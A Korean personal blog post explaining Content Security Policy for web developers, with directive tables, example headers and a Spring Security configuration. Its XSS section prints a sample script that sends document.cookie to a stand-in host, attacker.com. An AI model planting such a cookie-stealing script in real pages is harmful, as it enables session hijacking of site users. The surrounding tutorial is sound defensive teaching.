나만의 학습 기록

최종 목적은 기술 블로그💩

백엔드 공부

웹 보안 지식(6) - 콘텐츠 보안 정책

밈밍민믹 2026. 5. 13. 13:34

안녕하세요. 벌써 수요일이네요. 이번주도 벌써 절반이 지나가네요. 얼른 주말이 와서 놀러 나가고 싶은 마음이 드는 하루입니.

웹 보안 지식 시리즈도 어느덧 6편까지 오게 되었습니다. 이번 콘텐츠 보안 정책, CSP 편을 마지막으로 웹 보안 기초 시리즈도 거의 마무리 단계에 들어섰습니다. 그럼 이번 시간에는 콘텐츠 보안 정책, CSP에 대해 학습해보도록 하겠습니다.


콘텐츠 보안 정책

콘텐츠 보안 정책(Content Security Policy : CSP)는 브라우저가 어떤 출처의 리소스를 허용할지 제한하는 보안 정책입니다.

웹 페이지는 HTML뿐만 아니라 JavaScript, CSS, 이미지, 폰트, iframe 등 다양한 리소스를 불러옵니다. CSP는 이러한 리소스를 어디에서 불러올 수 있는지 서버가 브라우저에게 알려주는 방식입니다.

 

즉, CSP는 서버가 브라우저에게 "이 페이지에서는 어떤 리소스만 실행하거나 불러와도 되는지" 알려주는 보안 헤더입니다.

 

CSP가 필요한 이유

웹 페이지는 다양한 JavaScript 파일과 외부 리소스를 실행할 수 있습니다. 이때 공격자가 악성 스크립트를 페이지에 삽입할 수 있다면, 사용자의 쿠키나 토큰을 탈취하거나 원하지 않는 요청을 보내는 문제가 발생할 수 있습니다.

 

CSP는 이런 위험을 줄이기 위해 허용된 출처의 스크립트와 리소스만 실행되도록 제한합니다.

 

XSS 공격

XSS(cross-Site Scripting)는 공격자가 웹 페이지에 악성 스크립트를 삽입해 사용자의 브라우저에서 실행되도록 만드는 공격입니다.

<script>
  fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>

위의 예시처럼 만약 게시글, 댓글, 프로필 입력값 등에 악성 스크립트가 저장되거나 반영된다면, 다른 사용자가 해당 페이지를 열었을 때 브라우저에게 스크립트가 실행될 수 있습니다.

 

그렇기에 CSP를 이용하여 XSS 자체를 완전히 없앨수는 없지만 악성 스크립트가 실행될 수 있는 범위를 제한하여 피해를 줄이는 역할을 할 수 있습니다.

 

CSP 동작 방식

CSP는 서버가 HTTP 응답 헤더에 Content-Security-Policy를 포함하여 브라우저에게 전달하는 방식으로 동작합니다.

Content-Security-Policy: default-src 'self'; script-src 'self';

브라우저는 이 헤더를 확인한 뒤 현재 페이지에서 어떤 리소스를 허용할지 판단합니다. 위 예시는 기본적으로 같은 출처의 리소스만 허용하고, JavaScript 역시 같은 출처에서 불러온 것만 실행하도록 제한합니다.

CSP 주요 지시어

지시어 의미
default-src 기본 리소스 허용 출처
script-src JavaScript 허용 출처
style-src CSS 허용 출처
img-src 이미지 허용 출처
font-src 폰트 허용 출처
connect-src fetch, axios, WebSocket 요청 허용 출처
frame-src iframe 허용 출처
object-src object, embed 리소스 허용 출처

이 중 connect-src는 fetch, axios, WebSocket처럼 JavaScript에서 서버와 통신할 때 허용할 출처를 지정합니다. 프론트엔드와 백엔드 API 서버가 분리되어 있다면 connect-src에 API 서버 주소를 허용해야 할 수 있습니다. 

 

CSP 적용 예시

Content-Security-Policy: default-src 'self';

모든 리소스를 기본적으로 같은 출처에서만 불러오도록 제한합니다.

 

Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' https://images.example.com; connect-src 'self' https://api.example.com;

이 정책은 기본 리소스와 JavaScript는 같은 출처만 허용하고, 이미지는 현재 서버와 images.example.com에서만 허용합니다. API 요청은 현재 출처와 api.example.com으로만 보낼 수 있습니다.

 

Spring Boot에서 CSP 헤더 설정하기

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
            .headers(headers -> headers
                    .contentSecurityPolicy(csp -> csp
                            .policyDirectives("default-src 'self'; script-src 'self'; img-src 'self' https://images.example.com; connect-src 'self' https://api.example.com")
                    )
            );

    return http.build();
}

Spring Security에서는 응답 헤더 설정을 통해 Content-Security-Policy를 추가할 수 있습니다. 위와 같이 기본 리소스와 스크립트는 같은 출처만 허용하고, 이미지와 API 요청에 대해서는 필요한 외부 출처를 명시적으로 허용하는 방식으로 CSP 헤더 설정이 가능합니다.

 

CSP 적용 시 주의할 점

CSP는 강력한 보안 정첵이지만 너무 엄격하게 설정하면 정상적인 리소스까지 차단될 수 있습니다.

 

  1. 필요한 외부 리소스 출처를 정확히 파악해야 한다.
  2. unsafe-inline 사용은 가능한 피하는 것이 좋다.
  3. 개발 환경과 운영 환경의 API 주소가 다를 수 있다.
  4. 처음에는 Report-Only 모드로 점검할 수 있다.
더보기

nsafe-inlien

unsafe-inlien은 인라인 스크립트 실행을 허용하는 설정입니다. 편리하지만 XSS 방어 효과를 약화시킬 수 있기에 가능하면 사용하지 않는 것이 좋습니다.

 

※ Report-Only

Report-Only 모드는 정책을 실제로 차단하지 않고 위반 사항만 보고하는 방식입니다. 운영 환경에 바로 강한 CSP를 적용하기 전에 어떤 리소스가 차단될 수 있는지 확인할 때 사용할 수 있습니다.

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self';

 


오늘은 콘텐츠 보안 정책, CSP에 대해 학습해보았습니다. 이번 글을 마지막으로 웹 보안 지식 시리즈는 마무리하게 되었습니다. CSP는 직접 적용해본 경험이 없어 다소 생소한 개념이었지만 브라우저가 허용된 출처의 리소스만 로드하고 실행하도록 제한하는 보안 정책이라는 점을 알 수 있었습니다.

특히 XSS 공격으로 인한 피해를 줄이는데 도움이 되며 웹 프론트엔드나 관리자 페이지처럼 브라우저에서 실행되는 화면에 적용해볼 수 있습니다.

현재 진행 중인 프로젝트에서도 관리자 페이지가 추가되면 script-src, img-src, connect-src와 같은 정책을 적용해볼 수 있을 것 같습니다. 

다음 시간에는 테스트에 대해 알아보겠습니다. 수고하셨습니다.